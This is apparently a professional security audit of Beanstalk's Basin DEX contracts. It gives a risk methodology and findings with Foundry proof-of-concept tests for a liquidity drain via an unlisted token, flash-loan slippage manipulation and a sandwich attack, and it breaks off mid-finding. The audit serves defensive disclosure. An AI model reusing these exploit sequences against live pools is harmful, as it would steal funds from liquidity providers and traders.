



Beanstalk – Basin

Smart Contract Security Audit

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EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Basin is a zero-fee decentralized exchange (DEX) created by Beanstalk for the community.

It allows users to create different types of pools or Wells with custom amounts of tokens, as well as custom functions for liquidity additions, removals, and swaps. With Basin, Beanstalk users can swap tokens without incurring any protocol fees. In addition, liquidity providers can enjoy other advantages in the protocol, such as earning seigniorage instead of fees from pool users.

Furthermore, Beanstalk also created Pumps. The Pumps are updating oracles, providing real time updates every time there is a change in a Basin of reserves. This information stored in a different kind of oracles can be used by the protocol to share their seigniorage to the liquidity providers depending on their value stored in the Basin, but also for other protocols that can also be use it if they need the current on-chain price of some of their assets.

Beanstalk engaged Halborn to conduct a security audit on their smart contracts beginning on January 19th, 2023 and ending on February 23rd, 2023 for the [Basin Audit](#) and beginning March 22nd, 2023 and ending on April 19th for the [Aquifer & Pumps Audit](#) enhancement. The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 AUDIT SUMMARY

The team at Halborn was provided a total of 8 weeks for the engagement and assigned a full-time security engineer to audit the security of smart contracts, 4 weeks for the Basin and 4 weeks for the Pumps and Aquifer smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some issues that were mostly addressed by the Beanstalk team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the contracts' solidity code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing with custom scripts. ([Foundry](#)).
- Static Analysis of security for scoped contract, and imported functions manually.
- Testnet deployment ([Anvil](#)).

2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets of Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

2.1 EXPLOITABILITY

Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

Metrics:

Exploitability Metric (m_E)	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A)	1
	Specific (AO:S)	0.2
Attack Cost (AC)	Low (AC:L)	1
	Medium (AC:M)	0.67
	High (AC:H)	0.33
Attack Complexity (AX)	Low (AX:L)	1
	Medium (AX:M)	0.67
	High (AX:H)	0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

2.2 IMPACT

Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

Metrics:

Impact Metric (m_I)	Metric Value	Numerical Value
Confidentiality (C)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium: (Y:M)	0.5
	High: (Y:H)	0.75
	Critical (Y:H)	1

Impact I is calculated using the following formula:

$$I = \max(m_I) + \frac{\sum m_I - \max(m_I)}{4}$$

2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (s)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = \min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

2.4 SCOPE

The first half of the security assessment was scoped to the following smart contracts on the [Basin](#) branch:

- [Well.sol](#)
- [Auger.sol](#)
- [ImmutableWellFunction.sol](#)
- [ImmutableTokens.sol](#)
- [ImmutablePumps.sol](#)
- [LibBytes.sol](#)
- [LibMath.sol](#)
- [ConstantProduct2.sol](#)

Commit ID: [7c498215f843620cb24ec5bbf978c6495f6e5fe4](#)

Fixed Commit ID: [e5441fc78f0fd4b77a898812d0fd22cb43a0af55](#)

The second half of the security assessment was scoped to the following smart contracts on the [Pumps & Aquifer](#) branch:

- [Aquifer.sol](#)
- [GeoEmaAndCumSmaPump.sol](#)
- [ABDKMathQuad.sol](#)
- [LibBytes.sol](#)
- [LibBytes16.sol](#)
- [LibContractInfo.sol](#)
- [LibLastReserveBytes.sol](#)
- [LibWellConstructor.sol](#)

Commit ID: [e5441fc78f0fd4b77a898812d0fd22cb43a0af55](#)

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	1	3	1	4

SECURITY ANALYSIS	RISK LEVEL	REMEDATION DATE
LIQUIDITY DRAIN WITH AN UNAUTHORISED TOKEN	Critical (10)	SOLVED - 03/10/2023
SLIPPAGE MANIPULATION	High (8.8)	RISK ACCEPTED
USING HIGH TOKEN AMOUNTS IN WELLS CONTRACT LEADS TO DENIAL OF SERVICE	Medium (6.7)	SOLVED - 03/10/2023
OPPORTUNITY FOR MEV ATTACKS	Medium (6.2)	SOLVED - 03/10/2023
FEE(/BURN)-ON-TRANSFER TOKENS NOT SUPPORTED	Medium (5.9)	SOLVED - 03/10/2023
MISSING TOKEN ARRAY LENGTH CONTROL IN THE CONSTRUCTOR CAN PREVENT ADDING AND REMOVING LIQUIDITY	Low (3.1)	ACKNOWLEDGED
UNNECESSARY TYPE CASTING	Informational (0.0)	SOLVED - 03/10/2023
USE SAFE TAG IN INLINE ASSEMBLY CODE SECTIONS	Informational (0.0)	ACKNOWLEDGED
USE CUSTOM ERRORS TO SAVE GAS	Informational (0.0)	SOLVED - 03/10/2023
UNNEEDED INITIALIZATION OF INTEGER VARIABLES TO 0	Informational (0.0)	SOLVED - 03/9/2023



FINDINGS & TECH DETAILS

4.1 (HAL-01) LIQUIDITY DRAIN WITH AN UNAUTHORISED TOKEN - CRITICAL(10)

Description:

The `Well.sol` contract does not correctly validate the address provided as a parameter to the swap functions, which allows for the exchange of tokens that are not included in the well storage.

The issue was discovered in the `swapTo` function. However, other functions may have used to perform swaps on the contract are also vulnerable. These other functions are:

- `swapFrom()`
- `swapOut()`
- `swapIn()`

The vulnerability arises from the validation performed by the internal function `_getIJ`. This function takes the array of tokens stored in the Well contract and the two addresses introduced by the user on the swap function. However, the function does not revert when it is unable to find one of those addresses. Instead, it returns the zero index, which is actually a valid index for a token that exists in the storage.

Code Location:

Code Section - Well.sol#L195

Listing 1: Well.sol (Line 195)

```

186     function swapTo(
187         IERC20 fromToken,
188         IERC20 toToken,
189         uint maxAmountIn,
190         uint amountOut,
191         address recipient
192     ) external nonReentrant returns (uint amountIn) {
193         IERC20[] memory _tokens = tokens();
194         uint[] memory reserves = _updatePumps(_tokens.length);
195         (uint i, uint j) = _getIJ(_tokens, fromToken, toToken);
196
197         reserves[j] -= amountOut;
198         uint reserveBefore = reserves[i];
199         reserves[i] = _calcReserve(wellFunction(), reserves, i,
↳ totalSupply());
200
201         // Note: The rounding approach of the Well function
↳ determines whether
202         // slippage from imprecision goes to the Well or to the
↳ User.
203         amountIn = reserves[i] - reserveBefore;
204
205         require(amountIn <= maxAmountIn, "Well: slippage");
206         _setReserves(reserves);
207         _executeSwap(fromToken, toToken, amountIn, amountOut,
↳ recipient);
208     }

```

Code Section - Well.sol#L571-L573

Listing 2: Well.sol (Lines 571,572,573)

```

566     function _getIJ(
567         IERC20[] memory _tokens,
568         IERC20 iToken,
569         IERC20 jToken
570     ) internal pure returns (uint i, uint j) {
571         for (uint k; k < _tokens.length; ++k) {

```

```

572         if (iToken == _tokens[k]) i = k;
573         else if (jToken == _tokens[k]) j = k;
574     }
575 }

```

Proof Of Concept:

The Foundry test provided below simulates exploitation of the described issue. The test case performs the following steps:

1. Create a well with two different tokens.
2. **User4** deposits 10e18 of each token on the well.
3. **User1** swaps 10e18 of a token not used in the well for a token that exists in the well.
4. Finally, the test performs the appropriate asserts to ensure the transaction has performed correctly.

Listing 3: Tester.t.sol

```

1     function testRandomTokenTransfer() public {
2         IERC20[] memory ltokens = new IERC20[](2);
3         ltokens[0] = tokens[0];
4         ltokens[1] = tokens[1];
5         Call[] memory _pumps = new Call[](0);
6         well = Well(auger.bore( 'MyWell', 'WL', ltokens, Call(
↳ address(new ConstantProduct2()), new bytes(0)), _pumps));
7
8         tokens[0].mint(user4, 10 ether);
9         tokens[1].mint(user4, 10 ether);
10        tokens[4].mint(user1, 10 ether);
11
12        uint[] memory tokenAmountsIn = new uint[](2);
13        tokenAmountsIn[0] = 10 ether;
14        tokenAmountsIn[1] = 10 ether;
15
16        vm.startPrank(user4);
17        tokens[0].approve(address(well), 10 ether);
18        tokens[1].approve(address(well), 10 ether);
19        well.addLiquidity(tokenAmountsIn, 0, user4);
20        vm.stopPrank();

```

```

21
22     uint[] memory reservesPrev = well.getReserves();
23
24     vm.startPrank(user1);
25     tokens[4].approve(address(well), 10 ether);
26     well.swapTo( tokens[4], tokens[0], 10 ether, 10 ether,
↳ user1 );
27     vm.stopPrank();
28
29     uint[] memory reserves = well.getReserves();
30
31     assertEquals(tokens[0].balanceOf(address(well)), 0);
32     assertEquals(tokens[4].balanceOf(address(well)), 10 ether);
33     assertEquals(reservesPrev[0], 10 ether);
34     assertEquals(reserves[0], 10 ether);
35     assertEquals(tokens[0].balanceOf(user1), 10 ether);
36 }

```

In the end, the test ensures that the well does not have balance of the token that it should, also checks that the user received the tokens from the well. As it is possible to observe in the next screenshot, the test succeeds completing the exploitation.

```

PS C:\Users\user\Documents\Projects\Wells> forge test --match-test testRandomTokenTransfer -vvv
[.] Compiling...
[.] Compiling 1 files with 0.8.17
[.] Solc 0.8.17 finished in 4.48s
Compiler run successful

Running 1 test for test/Audit tests/Tester.t.sol:Tester
[PASS] testRandomTokenTransfer() (gas: 4560918)
Test result: ok. 1 passed; 0 failed; finished in 5.42ms

```

BVSS:

A0:A/AC:L/AX:L/C:N/I:H/A:H/D:L/Y:N/R:N/S:U (10)

Recommendation:

Consider reverting a transaction when a token address introduced by parameter is not in the `Well` storage.


Remediation Plan:

SOLVED: The `Beanstalk team` solved the issue by adding a check whether the token is valid in commit `e5441fc7`.

4.2 (HAL-02) SLIPPAGE MANIPULATION - HIGH (8.8)

Description:

The slippage in the swaps can be manipulated with the `addLiquidity()` function:



A regular `Swap` is performed by calling the `SwapFrom` (or `SwapTo`) function (A1). And when a Swap is executed, the slippage is calculated considering the current liquidity in the `Well`.

However, the slippage can be manipulated: either with a `Flash Loan` or large capital, a user can use the `addLiquidity` function (B1) to move the

curve further from the axis (see the picture) and then execute the `Swap (B2)` and finally remove the liquidity (`B3`).

The result is that the swapper bypasses the slippage (or at least part of it) and all the amount the swapper is saving through the swap is, in fact, lost by the liquidity providers, who are in a worse position when removing the liquidity.

Proof of Concept:

Fuzzing tests were performed to find optimal parameters to proceed with the slippage manipulation.

The test was performed as follows:

- The scenario is a Well of 2 tokens with a specific market value: `xToken` that worth 1 dollar, and `yToken` that worth 2 dollars.
- A Liquidity Provider adds a specific amount of tokens (`amount2` in the test, 1st parameter fuzzed) to a Well of `xToken` and `yToken` in a 2/1 ratio.
- Alice executes a swap from `xToken` to `yToken` of a specific amount (`amountIn`, 2nd parameter fuzzed)
- Then, is checked the total value of Alice tokens after the `swap`, which is: 299910251607372057573202.
- Later, the 2nd scenario is set and Alice starts a mocked flash loan of a specific amounts (`flashAmountY`, 3rd parameter fuzzed).
- Alice `addLiquidity` of all the value from the flash loan.
- Then, the `Swap` is executed with the same `amountIn`.
- Finally, Alice `removeLiquidity` and the loan is paid back.
- The total amount from the `swap` is 299999999999802452239009, instead of 3×10^{23} so the slippage is negligible.

The following screenshot illustrates how the fuzzing test was performed:

```
275     function testFuzzSlippageManipulationX(uint128 amount2, uint128 amountIn, uint128 flashAmountY) public {
276         if (amount2 >= 10_000_000000000000000000)
277             && amountIn >= 10_000_000000000000000000
278             && flashAmountY >= 10_000_000000000000000000
279             && amount2 <= 1_000_000_000000000000000000
280             && amountIn <= 100_000_000000000000000000
281             && flashAmountY <= 1_000_000_000000000000000000){
282             // ----- SETUP -----
283             // token 1 (xToken) worth 1$
284             // token 2 (yToken) worth 2$
285             amount1 = 2 * amount2;
286             minAmountOut = 1;
287             xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minAmountOut);
288             uint256 value1 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
289
290             // ----- SCENARIO 1 -----
291             uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
292             uint256 value3 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
293             console.log("Total token value in $$$$ ", value3);
294
295             // SWAP IS REVERTED
296             xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), amountIn, 1, alice);
297
298             // ----- SCENARIO 2 -----
299             console.log("----- SCENARIO 2 -----");
300
301             // ALICE RECEIVES A FLASHLOAN
302             vm.startPrank(floan);
303             uint256 flashAmountX = 2 * flashAmountY;
304             xToken.transfer(alice, flashAmountX);
305             yToken.transfer(alice, flashAmountY);
306             vm.stopPrank();
307
308             // ALICE ADDS BIG AMOUNT OF LIQUIDITY
309             xAddLiq(address(alice), xTokenAdd, yTokenAdd, flashAmountX, flashAmountY, minAmountOut);
310
311             // ALICE PERFORMS THE SAME SWAP
312             swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
313
314             // ALICE REMOVES LIQUIDITY AND PAYS THE FLASHLOAN
315             xRemLiq(well.balanceOf(alice), 1, 1, alice);
316             vm.startPrank(alice);
317             xToken.transfer(floan, flashAmountX);
318             yToken.transfer(floan, flashAmountY);
319             vm.stopPrank();
320
321             uint256 value2 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
322             console.log("Total token value in $$$$ with Normal Swap -----> ", value3);
323             console.log("Total token value in $$$$ with Slippage Manipulation -----> ", value2);
324             if (value2 > value3) {console.log("DIF: ", value2 - value3);}
325             console.log("REL_DIF: ", value2 * 1e18 / value1);
326
327             logTokenComplexBalances();
328             if ((value2 * 1e18 / value1) > 99999999999810000) {
329                 | revert();
330             }
331         }
332     }
333 }
```

Arguments used:

- amount2 = 572055_274345744696904184
- amountIn = 10178_190357730689611534
- flashAmountY = 14061_130890796777584981

BVSS:

A0:A/AC:L/AX:L/C:N/I:H/A:N/D:M/Y:N/R:N/S:U (8.8)

Recommendation:

A solution to this issue is to introduce a limit for the `addLiquidity()` and `removeLiquidity()` functions. For example, a require function in the functions that only allows executing if the LP tokens `amountIn` is bigger than `well.totalSupply` divided by 1000. Therefore, users can only retire or add a maximum of 0.1% of what is in that time in the `Well`.

Remediation Plan:

RISK ACCEPTED: The `Beanstalk team` accepted the risk of this issue, trusting market efficiency in the protocol.

4.3 (HAL-03) USING HIGH TOKEN AMOUNTS IN WELLS CONTRACT LEADS TO DENIAL OF SERVICE - MEDIUM (6.7)

Description:

If a high amount of tokens is deposited in a Well either because it is frequently used or because the tokens are very cheap, the precision of `1e18` used in the `calcTokenSupply` eventually leads to an overflow since the `totalSupply` of LP tokens is too high.

Code Location:

Listing 4: ConstantProduct2.sol (Lines 25,32)

```

25     uint constant EXP_PRECISION = 1e18;
26
27     /// @dev `s = (b_0 * b_1)^(1/2) * 2`
28     function calcLpTokenSupply(
29         uint[] calldata reserves,
30         bytes calldata
31     ) external override pure returns (uint lpTokenSupply) {
32         lpTokenSupply = (reserves[0]*reserves[1]*EXP_PRECISION).
↳ sqrt() * 2;
33     }

```

BVSS:

A0:A/AC:L/AX:M/C:N/I:N/A:H/D:M/Y:M/R:N/S:U (6.7)

Proof Of Concept:

For the proof of concept, let's say that a Well is created with 2 tokens: `xToken` and `yToken` such that `yToken` is worth twice as much as `xToken`. These tokens are worth 0.0000001\$ and 0.0000002\$ respectively (in the order of BitTorrent value, for example).

Over time, the `Well` is feed by the community by a total amount of 400 Billion of `xToken` and 200 Billion of `yToken`. Then, a big liquidity provider, Alice, wanted to `addLiquidity` adding 100 Billion of `xToken` and 500 Billion of `yToken` which has a total worth of 20000\$. When the `addLiquidity()` function is called, the transaction reverts because of the `arithmetic overflow` error in the `calcLpTokenSupply()` function.

Here is the `testAddLiquidityInflated()` test:

```

646 // ----- VULN (DoS IN WELLS WITH HIGH TOKEN AMOUNTS) -----
647 function testAddLiquidityInflated() public {
648     // SETUP LIQUIDITY PROVIDER ADDING LIQUIDITY
649     amount1 = 400_000_000_000_0000000000000000000;
650     amount2 = 200_000_000_000_0000000000000000000;
651     lpAmountOut = 565_685_424_949_238_019_520_00000000000000000;
652     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
653
654     // LOGS OF BALANCES AND CHECKS IF ALL WORKED AS EXPECTED
655     logTokenComplexBalances();
656     assertLt(lpAmountOut, well.balanceOf(liqPr));
657     uint256 op = (amount1 * amount2 * 1e18).sqrt() * 2;
658     assertEq(well.balanceOf(liqPr), op);
659     console.log("LIQPR LP TOKENS: ", well.balanceOf(liqPr));
660
661     // ALICE TRIES TO ADD LIQUIDITY (REVERTS)
662     amount1 = 100_000_000_000_0000000000000000000;
663     amount2 = 50_000_000_000_0000000000000000000;
664     lpAmountOut = 141_421_356_237_309_504_880_00000000000000000;
665     xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
666
667     // LOGS OF BALANCES AND CHECKS IF ALL WORKED AS EXPECTED
668     logTokenComplexBalances();
669     assertLt(lpAmountOut, well.balanceOf(liqPr));
670     op = (amount1 * amount2 * 1e18).sqrt() * 2;
671     assertEq(well.balanceOf(liqPr), op);
672     console.log("ALICE LP TOKENS: ", well.balanceOf(alice));
673 }

```


Here is the output of the test:

```
Running 1 test for test/MyTest.t.sol:MyTest
[FAIL. Reason: Arithmetic over/underflow] testAddLiquidityInflated() (gas: 596365)
Logs:
***** X TOKEN BALANCES *****
X Balance Of Liquidity Prov ---> 0
X Balance Of Flash Loan Prov ---> 0
X Balance Of Alice ---> 0
X Balance Of Bobby ---> 0
X Balance Of Carla ---> 0

***** Y TOKEN BALANCES *****
Y Balance Of Liquidity Prov ---> 0
Y Balance Of Flash Loan Prov ---> 0
Y Balance Of Alice ---> 0
Y Balance Of Bobby ---> 0
Y Balance Of Carla ---> 0

***** X TOKEN BALANCES *****
X Balance Of Liquidity Prov ---> 100000000000000000000000000000000
X Balance Of Flash Loan Prov ---> 50000000000000000000000000000000
X Balance Of Alice ---> 100000000000000000000000000000000
X Balance Of Bobby ---> 25000000000000000000000000000000
X Balance Of Carla ---> 100000000000000000000000000000000

***** Y TOKEN BALANCES *****
Y Balance Of Liquidity Prov ---> 100000000000000000000000000000000
Y Balance Of Flash Loan Prov ---> 100000000000000000000000000000000
Y Balance Of Alice ---> 100000000000000000000000000000000
Y Balance Of Bobby ---> 25000000000000000000000000000000
Y Balance Of Carla ---> 0

TX: ADDING LIQUIDITY... 0xF5070628c666C685319E6C88cc21B99e32e9EDBB

***** X TOKEN BALANCES *****
X Balance Of Well ---> 400000000000000000000000000000000
X Balance Of Liquidity Prov ---> 999999600000000000000000000000000000000
X Balance Of Flash Loan Prov ---> 50000000000000000000000000000000
X Balance Of Alice ---> 100000000000000000000000000000000
X Balance Of Bobby ---> 25000000000000000000000000000000
X Balance Of Carla ---> 100000000000000000000000000000000

***** Y TOKEN BALANCES *****
Y Balance Of Well ---> 200000000000000000000000000000000
Y Balance Of Liquidity Prov ---> 999999800000000000000000000000000000000
Y Balance Of Flash Loan Prov ---> 100000000000000000000000000000000
Y Balance Of Alice ---> 100000000000000000000000000000000
Y Balance Of Bobby ---> 25000000000000000000000000000000
Y Balance Of Carla ---> 0

***** LP WELL TOKEN BALANCES *****
LP Balance Of Liquidity Prov ---> 565685424949238019520675489683879231426
LP Balance Of Alice ---> 0
LP Balance Of Bobby ---> 0
LP Balance Of Carla ---> 0

LIQPR LP TOKENS: 565685424949238019520675489683879231426
TX: ADDING LIQUIDITY... 0x61A1D7FD8C9bbd82932D99DFd47bd2581C23b08c

Test result: FAILED. 0 passed; 1 failed; finished in 3.12ms

Failing tests:
Encountered 1 failing test in test/MyTest.t.sol:MyTest
[FAIL. Reason: Arithmetic over/underflow] testAddLiquidityInflated() (gas: 596365)
```

Recommendation:

The problem is in the precision, which is $1e18$. However, if the precision is reduced too much, then the minimum amount to add liquidity ($1e-18$ of LP tokens) could be very expensive for the provider. The challenge is to find a balance or, in fact, choose another kind of solution that other DEXs are using:

- First of all, the `Well` contract should send specific amount of tokens to the address zero as share to `address(0)`. With this solution, the pool is also harder to be out of liquidity, and also can have less slippage in the swaps.
- Secondly, in the following `addLiquidity()` function, the `lpAmountOut` variable has to be related to the totalSupply LP tokens as, for example, Uniswap V2 is doing.

Remediation Plan:

SOLVED: The `Beanstalk team` fixed the issue by changing the `EXP_PRECISION` from $1e18$ to $1e12$ in commit `e5441fc7`.

4.4 (HAL-04) OPPORTUNITY FOR MEV ATTACKS - MEDIUM (6.2)


Description:

The fact that Wells are zero-fee liquidity pools makes them vulnerable to certain types of MEV (Miner Extractable Value) attacks. In other cases, fees paid to liquidity providers can prevent such attacks, as they make them more expensive and reduce incentives. The protocol needs to include measures to make it more difficult to execute these types of attacks. Furthermore, when combined with the lack of precautions against MEV attacks, the slippage manipulation bug -which is explained below in the report (HAL-04 SLIPPAGE MANIPULATION)- makes it easier to perform an advanced sandwich attack. This combines swaps with addLiquidity and removeLiquidity, squeezing the victim into a worse price. Additionally, the slippage is controlled by the user, so it is possible to make a profit by executing these attacks.

Proof of Concept:

A Well with xTokens and yTokens is deployed. First of all, a LiquidityProvider adds liquidity to the protocol of 100 million for both tokens (we can imagine for the sake of the value stolen, that the tokens are worth \$1).

The second step is that Bobby wants to execute a swap from xToken to get yToken and the amount is a 2% of the pool. Then, Bobby needs to calculate the expected output and adding a Slippage Tolerance to it and then sends the transaction.



When the transaction is in the mempool, Alice, who executes MEV attack, the transaction and executes the frontrunning attack taking benefit from the Slippage Manipulation.

- Alice `addLiquidity` to the Well (Add)
- Executes a `swap` in the same direction as the victim (Sw1)
- The victim, Bobby, `swap` his tokens correctly because the `slippage tolerance parameter` works properly. (SwB)
- Then executes an inverted `swap`. (Sw2)
- Alice `removesLiquidity` and `repays` the loan. (Rmv)

This is the PoC in code:

```

266     function testAdvancedFlashloanAttackk() public {
267
268         uint256 liqPrValue1 = xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr);
269         uint256 bobbyValue1 = xToken.balanceOf(bobby) + yToken.balanceOf(bobby);
270
271         uint256 initialAmount = 100_000_000_000000000000000000;
272         // uint256 loanAmount
273
274         minAmountOut = 1;
275         xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, initialAmount, initialAmount, minAmountOut);
276
277         uint256 aliceValue1 = xToken.balanceOf(alice) + yToken.balanceOf(alice);
278         // BOBBY WANTED TO DO SWAP BY 1/50 OF THE POOL AMOUNT
279         // BOBBY CALCULATE THE SLIPPAGE OF 0.2% AND ADDS AN ADDITIONAL 0.02% OF SLIPPAGE TOLERANCE
280
281         amountIn = initialAmount * 2 / 100;
282         uint256 expectedAmountOut = well.getSwapOut(IERC20(xToken), IERC20(yToken), amountIn);
283         minAmountOut = expectedAmountOut - (expectedAmountOut * 2 / 10000);
284         console.log(minAmountOut);
285
286         // THE TX BELOW IS IN THE MEMPOOL
287         // swap = xSwapFrom(IERC20(xToken), IERC20(yToken), amountIn, minAmountOut, bobby);
288
289         // ALICE PERFORM AN ADVANCED SANDWITCH ATTACK
290         uint256 attackLiquidityAmount = initialAmount * 3;
291
292         // ALICE ADDS LIQUIDITY AND PERFORMS A SWAP IN SAME DIRECTION AS VICTIM
293         xAddLiq(address(alice), xTokenAdd, yTokenAdd, attackLiquidityAmount, attackLiquidityAmount, 1);
294         uint256 swapTurn = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn * 3 / 2, 1, alice);
295
296         // BOBBY PERFORMS A SWAP
297         uint256 swap = xSwapFrom(IERC20(xToken), IERC20(yToken), amountIn, minAmountOut, bobby);
298         console.log(swap);
299
300         // ALICE PERFORMS A SWAP IN OPPOSITE DIRECTION AND REMOVES LIQUIDITY
301         xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), swapTurn, 1, alice);
302         xRemLiq(well.balanceOf(alice), 1, 1, alice);
303
304         uint256 aliceValue2 = xToken.balanceOf(alice) + yToken.balanceOf(alice);
305         console.log(aliceValue1);
306         console.log(aliceValue2);
307         console.log("alice final output ", aliceValue2 - aliceValue1);
308         // OUTPUT: 35087_332050544752041067 OF VALUE STOLEN
309         //22024079948077582073945
310
311         xRemLiq(well.balanceOf(liqPr), 1, 1, liqPr);
312         uint256 liqPrValue2 = xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr);
313         console.log(liqPrValue1);
314         console.log(liqPrValue2);
315         console.log("liqpr final output -", liqPrValue2 - liqPrValue1);
316
317         uint256 bobbyValue2 = xToken.balanceOf(bobby) + yToken.balanceOf(bobby);
318         console.log(bobbyValue1);
319         console.log(bobbyValue2);
320         console.log("bobby final output -", bobbyValue2 - bobbyValue1);
321
322     }

```

The output is that Alice is stealing \$30k-\$40k from liquidity providers and from Bobby, which is not too much while talking about transactions of millions, but at least something to take into consideration and a source of possible further vulnerabilities. In fact, in case that any user have a mistake with the slippage tolerance parameter, the problem would be incremented and not only the user but also the providers would

Recommendation:

- Adding a `deadline modifier` to the swaps to make it difficult to be frontrun.
- Adding a limit to `addLiquidity` and `removeLiquidity` to prevent Slip-page Manipulation
- And probably including a `minimal fee` for the pools or for the users to make more difficult to take value from users' transactions.

Remediation Plan:

SOLVED: The `Beanstalk team` attenuated the issue by adding a `deadline modifier` to the swaps in commit `e5441fc7`

4.5 (HAL-05) FEE(/BURN)-ON-TRANSFER TOKENS NOT SUPPORTED – MEDIUM (5.9)

Description:

When a Well is deployed with `feeOnTransfer` or `burnOnTransfer` tokens, and a user executes a swap, the reserves are updated with the `amountIn` or `amountOut` passed as a parameter, without verifying that those tokens are properly received. Therefore, if the `transfer()` function does not send the entire amount to the Well, problems may arise in both calculating liquidity and managing the reserves, which may affect all Well functionalities.

Here's a list of this kind of tokens:

- Safemoon (SAFEMOON)
- Bonfire (BONFIRE)
- HODL (HODL)
- ELONGATE (ELONGATE)
- EverRise (RISE)
- Baby Cake (BABYCAKE)
- Dogelon Mars (ELON)

Code Location:

Listing 5: Well.sol (Line 150)

```
139     function swapFrom(  
140         IERC20 fromToken,  
141         IERC20 toToken,  
142         uint amountIn,  
143         uint minAmountOut,  
144         address recipient  
145     ) external nonReentrant returns (uint amountOut) {  
146         IERC20[] memory _tokens = tokens();  
147         uint[] memory reserves = _updatePumps(_tokens.length);  
148         (uint i, uint j) = _getIJ(_tokens, fromToken, toToken);  
149  
150         reserves[i] += amountIn;
```



```

151         uint reserveJBefore = reserves[j];
152         reserves[j] = _calcReserve(wellFunction(), reserves, j,
↳ totalSupply());
153
154         // Note: The rounding approach of the Well function
↳ determines whether
155         // slippage from imprecision goes to the Well or to the
↳ User.
156         amountOut = reserveJBefore - reserves[j];
157
158         require(amountOut >= minAmountOut, "Well: slippage");
159         _setReserves(reserves);
160         _executeSwap(fromToken, toToken, amountIn, amountOut,
↳ recipient);
161     }

```

Listing 6: Well.sol (Line 197)

```

186     function swapTo(
187         IERC20 fromToken,
188         IERC20 toToken,
189         uint maxAmountIn,
190         uint amountOut,
191         address recipient
192     ) external nonReentrant returns (uint amountIn) {
